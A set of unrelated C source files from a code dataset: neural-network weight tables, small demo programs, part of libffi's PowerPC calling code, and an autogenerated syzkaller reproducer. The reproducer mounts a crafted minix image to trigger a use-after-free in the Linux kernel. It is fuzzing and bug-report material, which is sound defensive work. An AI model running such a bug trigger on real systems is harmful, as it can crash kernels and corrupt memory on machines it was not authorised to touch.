132, -877, 726, -656, 252, 106, -1178, 1113, -1367, -239, -478, 468, 595, 798, -308, 603, 73, 242, -158, 434, -410, 700, 1105, 309, -1287, 94, -423, 1770, 58, -354, 1178, 747, // 3532
-719, -743, 314, -294, -109, 681, 1191, 1251, -1980, -2238, -520, 1859, 838, 995, -1269, 1012, 735, 397, -997, -820, 976, 703, 410, 518, 373, -603, 148, -292, -252, 76, -881, 983, // 3564
-57, -1609, -528, -913, -267, -441, -1048, 1159, -1087, -68, 121, -113, -378, -818, -217, -634, 307, -315, 941, -731, 224, -1333, 195, 737, 422, -655, -122, -58, -421, -363, -1225, -614, // 3596
-320, 106, 318, -169,
// Out channel 36
-1156, -623, 1234, 505, -3, 287, -783, 945, -1521, -126, 268, -1541, 2005, 570, 1145, 953, -995, -33, 322, 247, 62, -557, 162, 310, -1349, -426, -630, 1110, -1246, 612, -19, 23, // 3632
220, 208, 735, -467, -1079, -287, 210, 525, -284, -725, -1504, 882, 1645, 384, -1436, 1128, 1275, 809, -81, -248, -195, 2214, 36, 897, 332, 787, 345, -257, 217, -114, -316, 915, // 3664
65, 318, 735, 1121, -620, -1307, -1115, 203, -1301, 230, 663, -12, 738, -218, 538, -217, 471, -1214, -216, -322, -722, -334, -1127, 1156, 1094, -1073, 499, -149, -2, -1200, 79, -457, // 3696
-1039, 404, 62, -11,
// Out channel 37
224, -633, 14, 563, -406, -839, 283, 610, -90, -968, 38, 412, 783, -575, -976, 104, 622, -606, -16, 909, 901, -985, 345, -426, -15, -1572, 1270, 667, 304, -1300, 125, -829, // 3732
-217, 117, 734, 927, 660, 675, -1190, 1912, -334, -325, 434, 114, 905, -115, 2, -24, -568, 606, 437, -609, 1467, 190, 788, -473, 736, -1034, 175, 233, 720, 396, 4, -793, // 3764
92, -1241, -384, -402, 894, -632, -557, 240, 643, 647, -33, -492, -383, 377, 1155, -778, -1510, 354, 498, 339, 1154, -2035, -555, -577, -42, 712, -1191, 895, -119, -1954, 362, 1409, // 3796
89, -578, -1772, 157,
// Out channel 38
-616, -965, 495, 116, -524, 1323, -623, 1159, -1014, -380, -642, -538, 1667, -435, 606, 972, -263, -350, -644, 768, -994, -236, 35, -352, -2204, -344, -69, 1127, -602, -543, 992, 820, // 3832
-547, 460, 482, -361, 53, -596, 1433, 652, -186, -912, -843, 545, -67, 35, -259, 913, 577, 31, -988, -772, 880, 486, -181, 1339, -599, 847, 380, -711, -326, -774, -1186, 1177, // 3864
-23, -96, -883, 429, -477, -875, -280, 224, -1146, -612, 599, 66, 169, 172, -231, 389, -280, -694, 1024, -1314, 1235, -1026, 572, 175, -389, -829, 422, 149, 146, -335, -848, -410, // 3896
-652, -40, 21, 318,
// Out channel 39
-119, -858, 830, -101, -309, 743, -511, 255, -1292, -352, 1254, -453, 796, 879, 734, 899, -115, -647, -308, 215, -661, 19, -69, -669, -1308, -447, -1589, 1270, -1212, 706, -368, 584, // 3932
-336, 502, 671, -792, -1095, -270, 466, 1691, -107, -118, -1051, 407, 380, 743, -178, -596, -403, 257, -189, -272, 333, 124, 126, 128, 211, 989, 263, -289, 107, -502, -1783, 173, // 3964
511, 234, 357, -205, 182, -176, -593, 127, -1759, -337, -413, -327, -494, 717, 857, 90, -233, -1597, -203, -1605, 396, 37, 93, 23, 870, -1488, -467, -943, 348, 186, -918, 129, // 3996
-1588, 145, 227, 152,
};
const int16_t cg_SP_FC3bias[40] = { // Co,H,W,Ci: (40,)
-2025, -1032, -1979, -1422, -2724, -1152, -1018, -1310, -1198, -1926, -4392, -1741, -1287, -831, -1150, -1273, -1078, -1261, -1104, -384, 211, -1150, -1144, -1661, -2132, -1232, -1174, -1172, -1934, -1226, -3509, -117, // 32
-1316, -1389, -1293, -1235, -1402, -79, -1364, -1025,
};
const int16_t cg_SP_FC4weit[40] = { // Co,H,W,Ci: (1, 40)
// Out channel 0
-7238, -2857, -4018, 2398, 7270, -2409, 940, 1448, 614, -4398, 1544, 3783, -2687, -3779, 2379, -6636, -4873, 2016, -2747, 4488, // 20
-6211, 141, -165, 3, 3275, -3496, 1520, 1798, 5125, -1093, 5248, -3941, -1642, 1408, 878, 1751, 4120, -5738, 307, -4418, // 40
};
const int16_t cg_SP_FC4bias[1] = { // Co,H,W,Ci: (1,)
7867,
};
|
the_stack_data/161081033.c
|
#include <stdio.h>
#include <string.h>
int main()
{
char a[10];
strcpy(a, "abcdef");
printf("%s\n", &a[1]);
return 0;
}
/* vim: set expandtab ts=4 sw=3 sts=3 tw=80 :*/
|
the_stack_data/432257.c
|
// KASAN: use-after-free Read in get_block
// https://syzkaller.appspot.com/bug?id=3b7b03a0c28948054fb5
// status:6
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size,
unsigned long nsegs, long segments)
{
unsigned long i;
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile unsigned long size,
volatile unsigned long nsegs,
volatile long segments, volatile long flags,
volatile long optsarg)
{
char loopname[64], fs[32], opts[256];
int loopfd, err = 0, res = -1;
unsigned long i;
NONFAILING(size = fs_image_segment_check(size, nsegs, segments));
int memfd = syscall(sys_memfd_create, "syz_mount_image", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (i = 0; i < nsegs; i++) {
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res1 = 0;
NONFAILING(res1 =
pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset));
if (res1 < 0) {
}
}
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
mkdir((char*)dir, 0777);
memset(fs, 0, sizeof(fs));
NONFAILING(strncpy(fs, (char*)fsarg, sizeof(fs) - 1));
memset(opts, 0, sizeof(opts));
NONFAILING(strncpy(opts, (char*)optsarg, sizeof(opts) - 32));
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
if (mount(loopname, (char*)dir, fs, flags, opts)) {
err = errno;
goto error_clear_loop;
}
res = 0;
error_clear_loop:
ioctl(loopfd, LOOP_CLR_FD, 0);
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return res;
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
void execute_one(void)
{
NONFAILING(memcpy((void*)0x20000180, "minix\000", 6));
NONFAILING(memcpy((void*)0x20000140, "./file0\000", 8));
NONFAILING(*(uint64_t*)0x20000000 = 0x20000100);
NONFAILING(memcpy((void*)0x20000100, "\x60\x00\x84\xe0\x02\x00\x0a\x00\x90"
"\xea\x1e\x6b\x27\x13\x43\xce\x8f\x13",
18));
NONFAILING(*(uint64_t*)0x20000008 = 0x12);
NONFAILING(*(uint64_t*)0x20000010 = 0x400);
NONFAILING(*(uint64_t*)0x20000018 = 0x20000600);
NONFAILING(memcpy(
(void*)0x20000600,
"\xee\x9f\x84\xa4\x3e\xcc\xaf\x13\x15\xbb\x39\x7d\x00\xc1\xb6\xdd\x82\x0d"
"\xd1\x39\x16\x18\x1d\xba\x62\x09\x38\xcb\x30\xf1\xc2\x1a\xfe\x3d\x92\x62"
"\x98\xb2\x58\x34\xe8\x90\x09\x2d\x64\x2c\xaf\xe5\xdb\x21\xba\x94\x94\xfe"
"\xbc\xf6\x60\x79\xb7\x22\xe7\x3b\xe3\xa8\x70\x8a\x36\x24\x25\x0f\x9f\x59"
"\xfb\xbe\x94\x29\x97\xc6\xc1\xe8\x3a\x34\xe5\x77\x9e\x8a\x4f\x40\xfd\xb6"
"\xff\xe5\x9f\xfe\x49\x03\x50\x0d\x3c\xd8\xc8\xf3\xed\x19\x60\x72\x8f\x2d"
"\x94\xcf\x7f\xca\xf2\x92\x2f\x8a\xab\x3b\xec\xc6\x0c\x8d\x39\xdd\xf4\x3c"
"\xd6\xd2\xe9\x30\x1d\xa3\xca\xa3\x57\x19\xf2\x5a\x83\x47\x85\x59\xe0\xe8"
"\x91\xdc\xb7\x56\xee\x22\x96\x4d\x03\xf3\x75\x61\xf5\x79\x74\x90\xa0\xb9"
"\x35\x06\x48\x28\x22\x07\x5b\xa9\x6d\xb3\x5a\x44\x0d\x04\x6e\x44\xeb\x4a"
"\x79\x98\x6b\x51\x82\x81\x60\x90\x03\xb6\xfa\xe0\x4a\x18\xbe\x9a\x83\xce"
"\x7e\xfa\x2a\xb8\x0f\x75\xc9\x0d\x78\xf0\xb4\x17\x9d\x67\x43\x76\xdb\x1f"
"\x7a\xe8\x74\x56\x41\xad\xcd\xe0\xd2\x45\x72\x27\x44\xbc\xea\x2f\xac\x94"
"\x45\x01\x4e\xe2\x29\x39\x85\x11\x95\x73\xff\xcc\x0c\x22\xeb\x07\x69\xde"
"\x1e\x9e\x5d\xb5\x3a\xa3\x37\x8a\x44\x26\x50\x30\x10\xa7\xc6\x24\x72\x65"
"\x83\x82\x11\x52\x7a\x01\x32\xcc\xf8\x83\xee\x08\xa6\xea\x1a\x78\x5e\x47"
"\xce\x16\x66\x3f\x1c\x74\x4a\xf4\x92\x00\xd5\xf3\xbc\x32\x6e\x7d\x90\x89"
"\xa5\xf1\x7d\x0a\xd0\x4d\xe5\xea\xe8\xd6\xd9\xea\x1a\x71\x4e\x35\xc5\xc3"
"\x85\x5f\x06\xe4\x8c\x20\x5f\x9b\x6d\x08\x7b\xa7\xd3\xb6\x74\x5e\x65\x70"
"\x0c\x00\x95\x72\xa6\x5b\x4b\xfb\xf6\x68\x78\x21\xbc\x72\x3b\x61\xb5\xab"
"\xe7\x35\x7e\x68\xa9\xb0\x64\x0b\xfb\x9c\x01\x00\x00\x80\x00\x00\x00\x00"
"\x0e\x84\x0e\xcf\x37\x9c\x57\x6c\x05\x75\x7d\x44\xb1\x9d\xe0\xe2\xaa\x36"
"\x4c\x42\x15\x62\x19\xa7\x2c\xc9\x43\xa6\x0f\x04\x10\x89\x1e\xd1\x34\xf3"
"\x5f\x5f\xe6\xb4\xcf\x3a\xbb\xcb\x98\x44\x36\x32\x23\x58\xa7\xc9\x39\x37"
"\x24\x86\x0d\x87\x25\x39\x81\xf9\xe7\x9d\xbe\xb7\x89\x57\x7e\xad\x0e\xde"
"\x31\xe1\x9a\x2b\x11\x4a\x0e\x4d\x82\xb3\xe1\x02\x3d\xd2\x8b\x63\x82\xe6"
"\x7e\xbd\x46\xd2\x91\x2e\x55\xcf\x99\x28\xda\x32\xc1\x02\x7c\xef\x7c\x6c"
"\x61\x0e\xa8\xfc\xe1\x49\xa7\xaf\x20\x22\x4b\x4e\x02\x86\x01\x93\x6e\xf9"
"\xa7\x8d\x80\xff\x55\x67\x08\x4e\xc1\x28\x76\x6e\x82\x2d\x61\x24\x18\x6d"
"\x82\xe7\x60\x12\x8d\xd7\xde\x26\x53\x93\x9d\x35\x3c\x12\xf9\x6d\xef\xf3"
"\xa2\x8b\x02\x2c\x78\x4b\xd3\x7d\xf7\xf7\x66\x40\xbc\xbc\xb0\x1a\x46\x76"
"\xd5\x8b\x3e\x9c\x2b\xaa\xe6\x62\x30\xe5\xf5\x4a\x37\x52\x7e\x81\x29\xd1"
"\x61\xb0\xc0\x6f\x25\x64\x8c\x55\xa7\xe5\xb2\xdb\x52\x80\x53\xc3\xe3\x86"
"\x4f\x41\x72\x8b\x79\x35\xe5\x75\x56\x8a\xd1\x14\xeb\x8c\x81\x1b\xf1\x9e"
"\x07\xa3\x98\xba\xbb\xc6\x4f\xbe\xab\x84\x26\x88\x55\x47\x83\xed\x15\x51"
"\x94\x9a\x79\x1e\x33\x79\x9e\x59\xa3\x4b\x6b\xda\xbc\x34\x58\xc3\x79\xc7"
"\x35\x19\x82\x92\xe5\xa2\x72\xf5\x73\x49\x24\x9d\x2c\x8a\x9a\xa5\x8f\x38"
"\x35\xa3\xe1\x71\x60\x83\xbb\x04\x64\xcb\xe1\x40\xd1\x58\x7a\x21\xe4\xec"
"\x2a\xe1\xf3\xad\x81\x13\x4d\xf5\x59\x03\xff\xb8\xe1\x73\x64\x63\x52\x91"
"\x5a\x2c\x70\x67\x09\xcf\x46\x53\x89\x78\x22\x4c\x0d\x6d\xc4\x37\xcb\xfc"
"\x37\xab\xfb\xd1\xb7\x6f\xeb\x5c\xa3\xae\xb1\xac\x8c\xbd\x40\xd5\xba\x89"
"\x6f\x79\xee\x8f\x76\xb0\x80\x9f\x59\xb8\x68\x62\x64\x87\x74\xd2\xac\xe9"
"\x8b\x82\x5e\x7a\x46\x5b\x5d\xd8\x0e\x49\x19\x65\x97\x1e\x77\x97\xab\xa3"
"\x96\x84\x41\x77\xd3\x04\x91\x59\xcb\x08\x1a\x75\xf4\xed\x51\xa0\x98\x40"
"\x18\x4f\xf7\x55\xf5\xc9\x86\x8b\xca\x87\xc4\x25\x2c\x8a\xa0\x7d\x2b\x55"
"\x22\x4a\xf2\x7b\x07\xef\x62\xf2\x4f\xa8\x96\xd4\x3e\x51\x75\xd9\xba\x73"
"\x51\xca\xc9\x09\x4a\x0f\x37\xab\x27\x10\x52\x19\xfa\x22\xbb\xcc\x69\xc0"
"\x24",
847));
NONFAILING(*(uint64_t*)0x20000020 = 0x34f);
NONFAILING(*(uint64_t*)0x20000028 = 0x34f9);
syz_mount_image(0x20000180, 0x20000140, 0x8000000000000, 2, 0x20000000,
0x800000, 0);
NONFAILING(memcpy((void*)0x20000040, "./file0/file0\000", 14));
syscall(__NR_open, 0x20000040ul, 0x20040ul, 0ul);
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
loop();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/133982.c
|
func(int arg0) {}
|
the_stack_data/1102757.c
|
#ifdef __ppc__
/* -----------------------------------------------------------------------
ffi.c - Copyright (c) 1998 Geoffrey Keating
PowerPC Foreign Function Interface
Darwin ABI support (c) 2001 John Hornkvist
AIX ABI support (c) 2002 Free Software Foundation, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
#include <ffi.h>
#include <ffi_common.h>
#include <stdlib.h>
extern void ffi_closure_ASM(void);
enum {
/* The assembly depends on these exact flags. */
FLAG_RETURNS_NOTHING = 1 << (31-30), /* These go in cr7 */
FLAG_RETURNS_FP = 1 << (31-29),
FLAG_RETURNS_64BITS = 1 << (31-28),
FLAG_RETURNS_128BITS = 1 << (31-31),
FLAG_ARG_NEEDS_COPY = 1 << (31- 7),
FLAG_FP_ARGUMENTS = 1 << (31- 6), /* cr1.eq; specified by ABI */
FLAG_4_GPR_ARGUMENTS = 1 << (31- 5),
FLAG_RETVAL_REFERENCE = 1 << (31- 4)
};
/* About the DARWIN ABI. */
enum {
NUM_GPR_ARG_REGISTERS = 8,
NUM_FPR_ARG_REGISTERS = 13
};
enum { ASM_NEEDS_REGISTERS = 4 };
/* ffi_prep_args is called by the assembly routine once stack space
has been allocated for the function's arguments.
The stack layout we want looks like this:
| Return address from ffi_call_DARWIN | higher addresses
|--------------------------------------------|
| Previous backchain pointer 4 | stack pointer here
|--------------------------------------------|<+ <<< on entry to
| Saved r28-r31 4*4 | | ffi_call_DARWIN
|--------------------------------------------| |
| Parameters (at least 8*4=32) | |
|--------------------------------------------| |
| Space for GPR2 4 | |
|--------------------------------------------| | stack |
| Reserved 2*4 | | grows |
|--------------------------------------------| | down V
| Space for callee's LR 4 | |
|--------------------------------------------| | lower addresses
| Saved CR 4 | |
|--------------------------------------------| | stack pointer here
| Current backchain pointer 4 |-/ during
|--------------------------------------------| <<< ffi_call_DARWIN
*/
/*@-exportheader@*/
void ffi_prep_args(extended_cif *ecif, unsigned *const stack)
/*@=exportheader@*/
{
const unsigned bytes = ecif->cif->bytes;
const unsigned flags = ecif->cif->flags;
/* 'stacktop' points at the previous backchain pointer. */
unsigned *const stacktop = stack + (bytes / sizeof(unsigned));
/* 'fpr_base' points at the space for fpr1, and grows upwards as
we use FPR registers. */
double *fpr_base = (double*) (stacktop - ASM_NEEDS_REGISTERS) - NUM_FPR_ARG_REGISTERS;
int fparg_count = 0;
/* 'next_arg' grows up as we put parameters in it. */
unsigned *next_arg = stack + 6; /* 6 reserved positions. */
int i = ecif->cif->nargs;
double double_tmp;
void **p_argv = ecif->avalue;
unsigned gprvalue;
ffi_type** ptr = ecif->cif->arg_types;
char *dest_cpy;
unsigned size_al = 0;
/* Check that everything starts aligned properly. */
FFI_ASSERT(((unsigned)(char *)stack & 0xF) == 0);
FFI_ASSERT(((unsigned)(char *)stacktop & 0xF) == 0);
FFI_ASSERT((bytes & 0xF) == 0);
/* Deal with return values that are actually pass-by-reference.
Rule:
Return values are referenced by r3, so r4 is the first parameter. */
if (flags & FLAG_RETVAL_REFERENCE)
*next_arg++ = (unsigned)(char *)ecif->rvalue;
/* Now for the arguments. */
for (;
i > 0;
i--, ptr++, p_argv++)
{
switch ((*ptr)->type)
{
/* If a floating-point parameter appears before all of the general-
purpose registers are filled, the corresponding GPRs that match
the size of the floating-point parameter are skipped. */
case FFI_TYPE_FLOAT:
double_tmp = *(float *)*p_argv;
if (fparg_count >= NUM_FPR_ARG_REGISTERS)
*(double *)next_arg = double_tmp;
else
*fpr_base++ = double_tmp;
next_arg++;
fparg_count++;
FFI_ASSERT(flags & FLAG_FP_ARGUMENTS);
break;
case FFI_TYPE_DOUBLE:
double_tmp = *(double *)*p_argv;
if (fparg_count >= NUM_FPR_ARG_REGISTERS)
*(double *)next_arg = double_tmp;
else
*fpr_base++ = double_tmp;
next_arg += 2;
fparg_count++;
FFI_ASSERT(flags & FLAG_FP_ARGUMENTS);
break;
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
double_tmp = ((double *)*p_argv)[0];
if (fparg_count >= NUM_FPR_ARG_REGISTERS)
*(double *)next_arg = double_tmp;
else
*fpr_base++ = double_tmp;
next_arg += 2;
fparg_count++;
double_tmp = ((double *)*p_argv)[1];
if (fparg_count >= NUM_FPR_ARG_REGISTERS)
*(double *)next_arg = double_tmp;
else
*fpr_base++ = double_tmp;
next_arg += 2;
fparg_count++;
FFI_ASSERT(flags & FLAG_FP_ARGUMENTS);
break;
#endif
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
*(long long *)next_arg = *(long long *)*p_argv;
next_arg+=2;
break;
case FFI_TYPE_UINT8:
gprvalue = *(unsigned char *)*p_argv;
goto putgpr;
case FFI_TYPE_SINT8:
gprvalue = *(signed char *)*p_argv;
goto putgpr;
case FFI_TYPE_UINT16:
gprvalue = *(unsigned short *)*p_argv;
goto putgpr;
case FFI_TYPE_SINT16:
gprvalue = *(signed short *)*p_argv;
goto putgpr;
case FFI_TYPE_STRUCT:
dest_cpy = (char *) next_arg;
/* Structures that match the basic modes (QI 1 byte, HI 2 bytes,
SI 4 bytes) are aligned as if they were those modes.
Structures with 3 byte in size are padded upwards. */
size_al = (*ptr)->size;
/* If the first member of the struct is a double, then align
the struct to double-word.
Type 3 is defined in include/ffi.h. #define FFI_TYPE_DOUBLE 3. */
if ((*ptr)->elements[0]->type == 3)
size_al = ALIGN((*ptr)->size, 8);
if (size_al < 3 && ecif->cif->abi == FFI_DARWIN)
dest_cpy += 4 - size_al;
memcpy((char *)dest_cpy, (char *)*p_argv, size_al);
next_arg += (size_al + 3) / 4;
break;
case FFI_TYPE_INT:
case FFI_TYPE_UINT32:
case FFI_TYPE_SINT32:
case FFI_TYPE_POINTER:
gprvalue = *(unsigned *)*p_argv;
putgpr:
*next_arg++ = gprvalue;
break;
default:
break;
}
}
/* Check that we didn't overrun the stack... */
//FFI_ASSERT(gpr_base <= stacktop - ASM_NEEDS_REGISTERS);
//FFI_ASSERT((unsigned *)fpr_base
// <= stacktop - ASM_NEEDS_REGISTERS - NUM_GPR_ARG_REGISTERS);
//FFI_ASSERT(flags & FLAG_4_GPR_ARGUMENTS || intarg_count <= 4);
}
/* Perform machine dependent cif processing. */
ffi_status ffi_prep_cif_machdep(ffi_cif *cif)
{
/* All this is for the DARWIN ABI. */
int i;
ffi_type **ptr;
unsigned bytes;
int fparg_count = 0, intarg_count = 0;
unsigned flags = 0;
unsigned size_al = 0;
/* All the machine-independent calculation of cif->bytes will be wrong.
Redo the calculation for DARWIN. */
/* Space for the frame pointer, callee's LR, CR, etc, and for
the asm's temp regs. */
bytes = (6 + ASM_NEEDS_REGISTERS) * sizeof(long);
/* Return value handling. The rules are as follows:
- 32-bit (or less) integer values are returned in gpr3;
- Structures of size <= 4 bytes also returned in gpr3;
- 64-bit integer values and structures between 5 and 8 bytes are returned
in gpr3 and gpr4;
- Single/double FP values are returned in fpr1;
- Long double FP (if not equivalent to double) values are returned in
fpr1 and fpr2;
- Larger structures values are allocated space and a pointer is passed
as the first argument. */
switch (cif->rtype->type)
{
#if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE
case FFI_TYPE_LONGDOUBLE:
flags |= FLAG_RETURNS_128BITS;
flags |= FLAG_RETURNS_FP;
break;
#endif
case FFI_TYPE_DOUBLE:
flags |= FLAG_RETURNS_64BITS;
/* Fall through. */
case FFI_TYPE_FLOAT:
flags |= FLAG_RETURNS_FP;
break;
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
flags |= FLAG_RETURNS_64BITS;
break;
case FFI_TYPE_STRUCT:
flags |= FLAG_RETVAL_REFERENCE;
flags |= FLAG_RETURNS_NOTHING;
